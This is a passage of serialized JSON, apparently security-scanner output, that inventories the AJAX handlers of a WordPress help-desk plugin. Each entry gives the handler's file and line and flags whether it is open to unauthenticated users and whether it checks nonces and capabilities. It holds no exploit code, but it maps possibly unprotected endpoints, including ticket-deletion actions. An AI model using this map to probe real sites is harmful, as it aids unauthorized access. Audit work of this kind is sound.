,"callback":1814,"hasNonce":1401,"hasCapCheck":52,"file":600,"line":433},"wpsc_set_dashboard_widget_load_order","set_dashboard_widget_load_order",{"action":1816,"nopriv":52,"callback":1817,"hasNonce":52,"hasCapCheck":52,"file":1818,"line":416},"wpsc_dash_get_agent_ticket_list","get_list","includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-agent-list.php",{"action":1816,"nopriv":1401,"callback":1817,"hasNonce":52,"hasCapCheck":52,"file":1818,"line":608},{"action":1821,"nopriv":52,"callback":1822,"hasNonce":1401,"hasCapCheck":52,"file":1818,"line":421},"wpsc_get_agent_status_ticket_list","get_agent_status_ticket_list",{"action":1821,"nopriv":1401,"callback":1822,"hasNonce":1401,"hasCapCheck":52,"file":1818,"line":823},{"action":1825,"nopriv":52,"callback":1826,"hasNonce":1401,"hasCapCheck":52,"file":1827,"line":414},"wpsc_category_pie_chart","category_pie_chart","includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-category-reports.php",{"action":1825,"nopriv":1401,"callback":1826,"hasNonce":1401,"hasCapCheck":52,"file":1827,"line":416},{"action":1830,"nopriv":52,"callback":1629,"hasNonce":1401,"hasCapCheck":52,"file":1831,"line":416},"wpsc_dash_get_recent_activities","includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-recent-activities.php",{"action":1830,"nopriv":1401,"callback":1629,"hasNonce":1401,"hasCapCheck":52,"file":1831,"line":608},{"action":1834,"nopriv":52,"callback":1835,"hasNonce":1401,"hasCapCheck":52,"file":1836,"line":416},"wpsc_recent_tickets_list","recent_tickets_list","includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-recent-tickets.php",{"action":1834,"nopriv":1401,"callback":1835,"hasNonce":1401,"hasCapCheck":52,"file":1836,"line":608},{"action":1839,"nopriv":52,"callback":1840,"hasNonce":1401,"hasCapCheck":52,"file":1841,"line":414},"wpsc_dbw_run_ts_report","run_ts_reports","includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-ticket-statistics.php",{"action":1843,"nopriv":52,"callback":1844,"hasNonce":1401,"hasCapCheck":52,"file":1845,"line":414},"wpsc_priority_pie_chart","priority_pie_chart","includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-unresolved-priorities.php",{"action":1843,"nopriv":1401,"callback":1844,"hasNonce":1401,"hasCapCheck":52,"file":1845,"line":416},{"action":1848,"nopriv":52,"callback":1849,"hasNonce":1401,"hasCapCheck":52,"file":1850,"line":414},"wpsc_status_pie_chart","status_pie_chart","includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-unresolved-statuses.php",{"action":1848,"nopriv":1401,"callback":1849,"hasNonce":1401,"hasCapCheck":52,"file":1850,"line":416},{"action":1853,"nopriv":52,"callback":1854,"hasNonce":1401,"hasCapCheck":52,"file":1855,"line":414},"wpsc_avg_tickets_bar_chart","avg_tickets_bar_chart","includes\\admin\\settings\\dashboard-settings\\widgets\\class-wpsc-dbw-week-trend-tickets.php",{"action":1853,"nopriv":1401,"callback":1854,"hasNonce":1401,"hasCapCheck":52,"file":1855,"line":416},{"action":1858,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":605,"line":408},"wpsc_get_gs_file_attachments",{"action":1860,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":605,"line":411},"wpsc_set_gs_file_attachments",{"action":1862,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":605,"line":341},"wpsc_reset_gs_file_attachments",{"action":1864,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":616,"line":408},"wpsc_get_gs_general",{"action":1866,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":616,"line":411},"wpsc_set_gs_general",{"action":1868,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":616,"line":341},"wpsc_reset_gs_general",{"action":1870,"nopriv":52,"callback":1871,"hasNonce":1401,"hasCapCheck":52,"file":626,"line":408},"wpsc_search_wp_pages","search_wp_pages",{"action":1873,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":626,"line":118},"wpsc_get_gs_page_settings",{"action":1875,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":626,"line":414},"wpsc_set_gs_page_settings",{"action":1877,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":626,"line":416},"wpsc_reset_gs_page_settings",{"action":1879,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1880,"line":411},"wpsc_get_gs_thankyou","includes\\admin\\settings\\general-settings\\class-wpsc-gs-thankyou-page-settings.php",{"action":1882,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1880,"line":341},"wpsc_set_gs_thankyou",{"action":1884,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1880,"line":118},"wpsc_reset_gs_thankyou",{"action":1886,"nopriv":52,"callback":1887,"hasNonce":52,"hasCapCheck":52,"file":631,"line":515},"wpsc_get_general_settings","get_general_settings",{"action":1889,"nopriv":52,"callback":1890,"hasNonce":52,"hasCapCheck":52,"file":634,"line":515},"wpsc_get_miscellaneous_settings","get_miscellaneous_settings",{"action":1892,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":639,"line":408},"wpsc_get_ms_advanced",{"action":1894,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":639,"line":411},"wpsc_set_ms_advanced",{"action":1896,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":639,"line":341},"wpsc_reset_ms_advanced",{"action":1898,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":641,"line":408},"wpsc_get_ms_gdpr",{"action":1900,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":641,"line":411},"wpsc_set_ms_gdpr",{"action":1902,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":641,"line":341},"wpsc_reset_ms_gdpr",{"action":1904,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":657,"line":408},"wpsc_get_ms_recaptcha",{"action":1906,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":657,"line":411},"wpsc_set_ms_recaptcha",{"action":1908,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":657,"line":341},"wpsc_reset_ms_recaptcha",{"action":1910,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":662,"line":408},"wpsc_get_ms_term_and_conditions",{"action":1912,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":662,"line":411},"wpsc_set_ms_term_and_conditions",{"action":1914,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":662,"line":341},"wpsc_reset_ms_term_and_conditions",{"action":1916,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1917,"line":408},"wpsc_get_te_advanced","includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-advanced.php",{"action":1919,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1917,"line":411},"wpsc_set_te_advanced",{"action":1921,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1917,"line":341},"wpsc_reset_te_advanced",{"action":1923,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1924,"line":408},"wpsc_get_te_agent","includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-agent.php",{"action":1926,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1924,"line":411},"wpsc_set_te_agent",{"action":1928,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1924,"line":341},"wpsc_reset_te_agent",{"action":1930,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1931,"line":408},"wpsc_get_te_guest_user","includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-guest-user.php",{"action":1933,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1931,"line":411},"wpsc_set_te_guest_user",{"action":1935,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1931,"line":341},"wpsc_reset_te_guest_user",{"action":1937,"nopriv":52,"callback":1637,"hasNonce":52,"hasCapCheck":52,"file":1938,"line":408},"wpsc_get_te_registered_user","includes\\admin\\settings\\text-editor-settings\\class-wpsc-te-registered-user.php",{"action":1940,"nopriv":52,"callback":1570,"hasNonce":1401,"hasCapCheck":52,"file":1938,"line":411},"wpsc_set_te_registered_user",{"action":1942,"nopriv":52,"callback":1562,"hasNonce":1401,"hasCapCheck":52,"file":1938,"line":341},"wpsc_reset_te_registered_user",{"action":1944,"nopriv":52,"callback":1945,"hasNonce":52,"hasCapCheck":52,"file":666,"line":458},"wpsc_get_rich_text_editor","get_rich_text_editor",{"action":1947,"nopriv":52,"callback":1948,"hasNonce":52,"hasCapCheck":52,"file":1949,"line":408},"wpsc_get_ticket_tags","get_ticket_tags","includes\\admin\\settings\\ticket-tags\\class-wpsc-ticket-tags-list.php",{"action":1951,"nopriv":52,"callback":1952,"hasNonce":52,"hasCapCheck":52,"file":1949,"line":118},"wpsc_get_add_new_tags","get_add_new_tags",{"action":1954,"nopriv":52,"callback":1955,"hasNonce":1401,"hasCapCheck":52,"file":1949,"line":414},"wpsc_set_add_ticket_tags","set_add_ticket_tags",{"action":1957,"nopriv":52,"callback":1958,"hasNonce":1401,"hasCapCheck":52,"file":1949,"line":611},"wpsc_get_edit_ticket_tags","get_edit_ticket_tags",{"action":1960,"nopriv":52,"callback":1961,"hasNonce":1401,"hasCapCheck":52,"file":1949,"line":419},"wpsc_set_edit_ticket_tags","set_edit_ticket_tags",{"action":1963,"nopriv":52,"callback":1964,"hasNonce":1401,"hasCapCheck":52,"file":1949,"line":622},"wpsc_set_delete_ticket_tags","set_get_delete_ticket_tags",{"action":1966,"nopriv":52,"callback":1887,"hasNonce":52,"hasCapCheck":52,"file":1967,"line":408},"wpsc_ticket_tags_get_general_settings","includes\\admin\\settings\\ticket-tags\\class-wpsc-ticket-tags-settings-general.php",{"action":1969,"nopriv":52,"callback":1970,"hasNonce":1401,"hasCapCheck":52,"file":1967,"line":411},"wpsc_ticket_tags_set_general_settings","set_general_settings",{"action":1972,"nopriv":52,"callback":1973,"hasNonce":1401,"hasCapCheck":52,"file":1967,"line":341},"wpsc_ticket_tags_reset_general_settings","reset_general_settings",{"action":1975,"nopriv":52,"callback":1976,"hasNonce":52,"hasCapCheck":52,"file":670,"line":515},"wpsc_get_ticket_tags_settings","get_ticket_tags_settings",{"action":1978,"nopriv":52,"callback":1979,"hasNonce":52,"hasCapCheck":52,"file":1980,"line":408},"wpsc_get_wh_settings","get_wh_settings","includes\\admin\\settings\\working-hrs\\class-wpsc-wh-settings.php",{"action":1982,"nopriv":52,"callback":1983,"hasNonce":1401,"hasCapCheck":52,"file":1980,"line":411},"wpsc_set_wh_settings","set_wh_settings",{"action":1985,"nopriv":52,"callback":1986,"hasNonce":1401,"hasCapCheck":52,"file":1980,"line":341},"wpsc_reset_wh_settings","reset_wh_settings",{"action":1988,"nopriv":52,"callback":1989,"hasNonce":52,"hasCapCheck":52,"file":673,"line":515},"wpsc_get_working_hrs_settings","get_working_hrs_settings",{"action":1991,"nopriv":52,"callback":1992,"hasNonce":52,"hasCapCheck":52,"file":676,"line":515},"wpsc_get_agent_tl_settings","get_agent_tl_settings",{"action":1994,"nopriv":52,"callback":1995,"hasNonce":52,"hasCapCheck":52,"file":676,"line":1481},"wpsc_get_agent_tl_items","get_agent_tl_items",{"action":1997,"nopriv":52,"callback":1998,"hasNonce":52,"hasCapCheck":52,"file":676,"line":451},"wpsc_get_add_agent_tl_item","get_add_agent_tl_item",{"action":2000,"nopriv":52,"callback":2001,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":493},"wpsc_set_add_agent_tl_item","set_add_agent_tl_item",{"action":2003,"nopriv":52,"callback":2004,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":526},"wpsc_delete_agent_tl_item","delete_agent_tl_item",{"action":2006,"nopriv":52,"callback":2007,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":454},"wpsc_get_edit_agent_tl_item","get_edit_agent_tl_item",{"action":2009,"nopriv":52,"callback":2010,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":575},"wpsc_set_edit_agent_tl_item","set_edit_agent_tl_item",{"action":2012,"nopriv":52,"callback":2013,"hasNonce":52,"hasCapCheck":52,"file":676,"line":535},"wpsc_get_agent_filter_items","get_agent_filter_items",{"action":2015,"nopriv":52,"callback":2016,"hasNonce":52,"hasCapCheck":52,"file":676,"line":1207},"wpsc_get_add_atl_filter_item","get_add_atl_filter_item",{"action":2018,"nopriv":52,"callback":2019,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":475},"wpsc_set_add_atl_filter_item","set_add_atl_filter_item",{"action":2021,"nopriv":52,"callback":2022,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":1259},"wpsc_delete_atl_filter_item","delete_atl_filter_item",{"action":2024,"nopriv":52,"callback":2025,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":1225},"wpsc_get_edit_agent_filter_item","get_edit_agent_filter_item",{"action":2027,"nopriv":52,"callback":2028,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":477},"wpsc_set_edit_agent_filter_item","set_edit_agent_filter_item",{"action":2030,"nopriv":52,"callback":2031,"hasNonce":52,"hasCapCheck":52,"file":676,"line":480},"wpsc_get_atl_default_filters","get_atl_default_filters",{"action":2033,"nopriv":52,"callback":2034,"hasNonce":52,"hasCapCheck":52,"file":676,"line":2035},"wpsc_get_add_atl_default_filter","get_add_atl_default_filter",58,{"action":2037,"nopriv":52,"callback":2038,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":1231},"wpsc_set_add_atl_default_filter","set_add_atl_default_filter",{"action":2040,"nopriv":52,"callback":2041,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":482},"wpsc_get_edit_atl_default_filter","get_edit_atl_default_filter",{"action":2043,"nopriv":52,"callback":2044,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":2045},"wpsc_set_edit_atl_default_filter","set_edit_atl_default_filter",61,{"action":2047,"nopriv":52,"callback":2048,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":1234},"wpsc_delete_atl_default_filter","delete_atl_default_filter",{"action":2050,"nopriv":52,"callback":2051,"hasNonce":1401,"hasCapCheck":52,"file":676,"line":378},"wpsc_sort_atl_default_filters","sort_atl_default_filters",{"action":2053,"nopriv":52,"callback":2054,"hasNonce":52,"hasCapCheck":52,"file":680,"line":515},"wpsc_get_customer_tl_settings","get_customer_tl_settings",{"action":2056,"nopriv":52,"callback":2057,"hasNonce":52,"hasCapCheck":52,"file":680,"line":1481},"wpsc_get_customer_tl_items","get_customer_tl_items",{"action":2059,"nopriv":52,"callback":2060,"hasNonce":52,"hasCapCheck":52,"file":680,"line":451},"wpsc_get_add_customer_tl_item","get_add_customer_tl_item",{"action":2062,"nopriv":52,"callback":2063,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":493},"wpsc_set_add_customer_tl_item","set_add_customer_tl_item",{"action":2065,"nopriv":52,"callback":2066,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":526},"wpsc_get_edit_customer_tl_item","get_edit_customer_tl_item",{"action":2068,"nopriv":52,"callback":2069,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":454},"wpsc_set_edit_customer_tl_item","set_edit_customer_tl_item",{"action":2071,"nopriv":52,"callback":2072,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":575},"wpsc_delete_customer_tl_item","delete_customer_tl_item",{"action":2074,"nopriv":52,"callback":2075,"hasNonce":52,"hasCapCheck":52,"file":680,"line":535},"wpsc_get_customer_filter_items","get_customer_filter_items",{"action":2077,"nopriv":52,"callback":2078,"hasNonce":52,"hasCapCheck":52,"file":680,"line":1207},"wpsc_get_add_ctl_filter_item","get_add_ctl_filter_item",{"action":2080,"nopriv":52,"callback":2081,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":475},"wpsc_set_add_ctl_filter_item","set_add_ctl_filter_item",{"action":2083,"nopriv":52,"callback":2084,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":1259},"wpsc_get_edit_ctl_filter_item","get_edit_ctl_filter_item",{"action":2086,"nopriv":52,"callback":2087,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":1225},"wpsc_set_edit_ctl_filter_item","set_edit_ctl_filter_item",{"action":2089,"nopriv":52,"callback":2090,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":477},"wpsc_delete_ctl_filter_item","delete_ctl_filter_item",{"action":2092,"nopriv":52,"callback":2093,"hasNonce":52,"hasCapCheck":52,"file":680,"line":480},"wpsc_get_ctl_default_filters","get_ctl_default_filters",{"action":2095,"nopriv":52,"callback":2096,"hasNonce":52,"hasCapCheck":52,"file":680,"line":2035},"wpsc_get_add_ctl_default_filter","get_add_ctl_default_filter",{"action":2098,"nopriv":52,"callback":2099,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":1231},"wpsc_set_add_ctl_default_filter","set_add_ctl_default_filter",{"action":2101,"nopriv":52,"callback":2102,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":482},"wpsc_get_edit_ctl_default_filter","get_edit_ctl_default_filter",{"action":2104,"nopriv":52,"callback":2105,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":2045},"wpsc_set_edit_ctl_default_filter","set_edit_ctl_default_filter",{"action":2107,"nopriv":52,"callback":2108,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":1234},"wpsc_delete_ctl_default_filter","delete_ctl_default_filter",{"action":2110,"nopriv":52,"callback":2111,"hasNonce":1401,"hasCapCheck":52,"file":680,"line":378},"wpsc_sort_ctl_default_filters","sort_ctl_default_filters",{"action":2113,"nopriv":52,"callback":2114,"hasNonce":52,"hasCapCheck":52,"file":684,"line":515},"wpsc_get_tl_more_settigns","get_tl_more_settigns",{"action":2116,"nopriv":52,"callback":2117,"hasNonce":52,"hasCapCheck":52,"file":684,"line":1481},"wpsc_tl_ms_get_agent_view","tl_ms_get_agent_view",{"action":2119,"nopriv":52,"callback":2120,"hasNonce":1401,"hasCapCheck":52,"file":684,"line":451},"wpsc_tl_ms_set_agent_view","tl_ms_set_agent_view",{"action":2122,"nopriv":52,"callback":2123,"hasNonce":1401,"hasCapCheck":52,"file":684,"line":493},"wpsc_tl_ms_reset_agent_view","tl_ms_reset_agent_view",{"action":2125,"nopriv":52,"callback":2126,"hasNonce":52,"hasCapCheck":52,"file":684,"line":575},"wpsc_tl_ms_get_customer_view","tl_ms_get_customer_view",{"action":2128,"nopriv":52,"callback":2129,"hasNonce":1401,"hasCapCheck":52,"file":684,"line":530},"wpsc_tl_ms_set_customer_view","tl_ms_set_customer_view",{"action":2131,"nopriv":52,"callback":2132,"hasNonce":1401,"hasCapCheck":52,"file":684,"line":458},"wpsc_tl_ms_reset_customer_view","tl_ms_reset_customer_view",{"action":2134,"nopriv":52,"callback":2135,"hasNonce":52,"hasCapCheck":52,"file":684,"line":475},"wpsc_tl_ms_get_advanced","tl_ms_get_advanced",{"action":2137,"nopriv":52,"callback":2138,"hasNonce":1401,"hasCapCheck":52,"file":684,"line":1259},"wpsc_tl_ms_set_advanced","tl_ms_set_advanced",{"action":2140,"nopriv":52,"callback":2141,"hasNonce":1401,"hasCapCheck":52,"file":684,"line":1225},"wpsc_tl_ms_reset_advanced","tl_ms_reset_advanced",{"action":2143,"nopriv":52,"callback":2144,"hasNonce":1401,"hasCapCheck":52,"file":695,"line":2145},"wpsc_get_archive_tickets","get_archive_tickets",156,{"action":2143,"nopriv":1401,"callback":2144,"hasNonce":1401,"hasCapCheck":52,"file":695,"line":2147},157,{"action":2149,"nopriv":52,"callback":2150,"hasNonce":1401,"hasCapCheck":52,"file":695,"line":2151},"wpsc_get_atl_custom_filter","get_atl_custom_filter_ui",158,{"action":2149,"nopriv":1401,"callback":2150,"hasNonce":1401,"hasCapCheck":52,"file":695,"line":1105},{"action":2154,"nopriv":52,"callback":2155,"hasNonce":52,"hasCapCheck":52,"file":695,"line":1107},"wpsc_get_archive_ticket_list","archive_ticket_list",{"action":2154,"nopriv":1401,"callback":2155,"hasNonce":52,"hasCapCheck":52,"file":695,"line":1111},{"action":2158,"nopriv":52,"callback":2159,"hasNonce":1401,"hasCapCheck":52,"file":695,"line":858},"wpsc_bulk_delete_archive_tickets","bulk_delete_archive_tickets",{"action":2158,"nopriv":1401,"callback":2159,"hasNonce":1401,"hasCapCheck":52,"file":695,"line":1076},{"action":2162,"nopriv":52,"callback":2163,"hasNonce":1401,"hasCapCheck":52,"file":695,"line":1115},"wpsc_bulk_restore_archive_tickets","bulk_restore_archive_tickets",{"action":2162,"nopriv":1401,"callback":2163,"hasNonce":1401,"hasCapCheck":52,"file":695,"line":862},{"action":2166,"nopriv":52,"callback":2167,"hasNonce":52,"hasCapCheck":52,"file":2168,"line":1199},"wpsc_get_agent_profile","get_agent_profile","includes\\admin\\tickets\\class-wpsc-current-agent-profile.php",{"action":2166,"nopriv":1401,"callback":2167,"hasNonce":52,"hasCapCheck":52,"file":2168,"line":28},{"action":2171,"nopriv":52,"callback":2172,"hasNonce":1401,"hasCapCheck":52,"file":2168,"line":341},"wpsc_set_agent_settings","set_agent_settings",{"action":2171,"nopriv":1401,"callback":2172,"hasNonce":1401,"hasCapCheck":52,"file":2168,"line":118},{"action":2175,"nopriv":52,"callback":2176,"hasNonce":1401,"hasCapCheck":52,"file":2168,"line":608},"wpsc_get_ap_leaves_actions","get_leaves_actions",{"action":2175,"nopriv":1401,"callback":2176,"hasNonce":1401,"hasCapCheck":52,"file":2168,"line":611},{"action":2179,"nopriv":52,"callback":2180,"hasNonce":1401,"hasCapCheck":52,"file":2168,"line":823},"wpsc_set_ap_leaves_actions","set_leaves_actions",{"action":2179,"nopriv":1401,"callback":2180,"hasNonce":1401,"hasCapCheck":52,"file":2168,"line":622},{"action":2183,"nopriv":52,"callback":2184,"hasNonce":52,"hasCapCheck":52,"file":2185,"line":1199},"wpsc_get_user_profile","get_user_profile","includes\\admin\\tickets\\class-wpsc-current-user-profile.php",{"action":2183,"nopriv":1401,"callback":2184,"hasNonce":52,"hasCapCheck":52,"file":2185,"line":28},{"action":2188,"nopriv":52,"callback":2189,"hasNonce":1401,"hasCapCheck":52,"file":2185,"line":408},"wpsc_set_my_profile","set_my_profile",{"action":2188,"nopriv":1401,"callback":2189,"hasNonce":1401,"hasCapCheck":52,"file":2185,"line":411},{"action":2192,"nopriv":52,"callback":2193,"hasNonce":1401,"hasCapCheck":52,"file":2185,"line":414},"wpsc_user_logout","logout",{"action":2192,"nopriv":1401,"callback":2193,"hasNonce":1401,"hasCapCheck":52,"file":2185,"line":416},{"action":2196,"nopriv":52,"callback":2197,"hasNonce":52,"hasCapCheck":52,"file":2198,"line":1251},"wpsc_get_individual_archive_ticket","layout","includes\\admin\\tickets\\class-wpsc-individual-archive-ticket.php",{"action":2196,"nopriv":1401,"callback":2197,"hasNonce":52,"hasCapCheck":52,"file":2198,"line":2200},82,{"action":2202,"nopriv":52,"callback":2203,"hasNonce":52,"hasCapCheck":52,"file":2198,"line":332},"wpsc_load_older_archive_threads","load_older_threads",{"action":2202,"nopriv":1401,"callback":2203,"hasNonce":52,"hasCapCheck":52,"file":2198,"line":2205},86,{"action":2207,"nopriv":52,"callback":2208,"hasNonce":1401,"hasCapCheck":52,"file":2198,"line":387},"wpsc_it_restore_archived","set_restore_archived",{"action":2210,"nopriv":52,"callback":2211,"hasNonce":1401,"hasCapCheck":52,"file":2198,"line":288},"wpsc_it_archive_thread_info","it_archive_thread_info",{"action":2210,"nopriv":1401,"callback":2211,"hasNonce":1401,"hasCapCheck":52,"file":2198,"line":2213},93,{"action":2215,"nopriv":52,"callback":2216,"hasNonce":1401,"hasCapCheck":52,"file":2198,"line":74},"wpsc_iat_delete_permanently","iat_delete_permanently",{"action":2215,"nopriv":1401,"callback":2216,"hasNonce":1401,"hasCapCheck":52,"file":2198,"line":2218},97,{"action":2220,"nopriv":52,"callback":2197,"hasNonce":52,"hasCapCheck":52,"file":2221,"line":1251},"wpsc_get_individual_ticket","includes\\admin\\tickets\\class-wpsc-individual-ticket.php",{"action":2220,"nopriv":1401,"callback":2197,"hasNonce":52,"hasCapCheck":52,"file":2221,"line":2200},{"action":2224,"nopriv":52,"callback":2225,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":332},"wpsc_it_add_reply","add_reply",{"action":2224,"nopriv":1401,"callback":2225,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2205},{"action":2228,"nopriv":52,"callback":2229,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":387},"wpsc_it_add_note","add_note",{"action":2228,"nopriv":1401,"callback":2229,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":377},{"action":2232,"nopriv":52,"callback":2233,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2213},"wpsc_it_reply_and_close","it_reply_and_close",{"action":2232,"nopriv":1401,"callback":2233,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2235},94,{"action":2237,"nopriv":52,"callback":2238,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2218},"wpsc_it_get_duplicate_ticket","get_duplicate_ticket",{"action":2237,"nopriv":1401,"callback":2238,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":13},{"action":2241,"nopriv":52,"callback":2242,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":352},"wpsc_it_set_duplicate_ticket","set_duplicate_ticket",{"action":2241,"nopriv":1401,"callback":2242,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":303},{"action":2245,"nopriv":52,"callback":2246,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2247},"wpsc_it_delete_ticket","set_delete_ticket",103,{"action":2245,"nopriv":1401,"callback":2246,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":779},{"action":2250,"nopriv":52,"callback":2251,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2252},"wpsc_it_archive_ticket","set_archive_ticket",105,{"action":2250,"nopriv":1401,"callback":2251,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2254},106,{"action":2256,"nopriv":52,"callback":2257,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":782},"wpsc_it_ticket_restore","ticket_restore",{"action":2256,"nopriv":1401,"callback":2257,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2259},108,{"action":2261,"nopriv":52,"callback":2262,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2263},"wpsc_it_delete_permanently","set_delete_ticket_permanently",109,{"action":2261,"nopriv":1401,"callback":2262,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2265},110,{"action":2267,"nopriv":52,"callback":2268,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2269},"wpsc_it_thread_info","it_thread_info",113,{"action":2267,"nopriv":1401,"callback":2268,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2271},114,{"action":2273,"nopriv":52,"callback":2274,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2275},"wpsc_it_get_edit_thread","get_edit_thread",115,{"action":2273,"nopriv":1401,"callback":2274,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2277},116,{"action":2279,"nopriv":52,"callback":2280,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2281},"wpsc_it_set_edit_thread","set_edit_thread",117,{"action":2279,"nopriv":1401,"callback":2280,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2283},118,{"action":2285,"nopriv":52,"callback":2286,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2287},"wpsc_it_get_thread","get_thread_html",119,{"action":2285,"nopriv":1401,"callback":2286,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2289},120,{"action":2291,"nopriv":52,"callback":2292,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2293},"wpsc_it_thread_delete","delete_thread",121,{"action":2291,"nopriv":1401,"callback":2292,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2295},122,{"action":2297,"nopriv":52,"callback":2298,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2299},"wpsc_it_view_thread_log","view_thread_log",123,{"action":2297,"nopriv":1401,"callback":2298,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2301},124,{"action":2303,"nopriv":52,"callback":2304,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2305},"wpsc_it_view_deleted_thread","view_deleted_thread",125,{"action":2303,"nopriv":1401,"callback":2304,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2307},126,{"action":2309,"nopriv":52,"callback":2310,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":707},"wpsc_it_restore_thread","restore_thread",{"action":2309,"nopriv":1401,"callback":2310,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2312},128,{"action":2314,"nopriv":52,"callback":2315,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2316},"wpsc_it_thread_delete_permanently","thread_delete_permanently",129,{"action":2314,"nopriv":1401,"callback":2315,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2318},130,{"action":2320,"nopriv":52,"callback":2321,"hasNonce":1401,"hasCapCheck":52,"file":2221,"line":2322},"wpsc_it_thread_new_ticket","it_thread_new_ticket",131,{"action":2320,"nopriv":1401,"callback"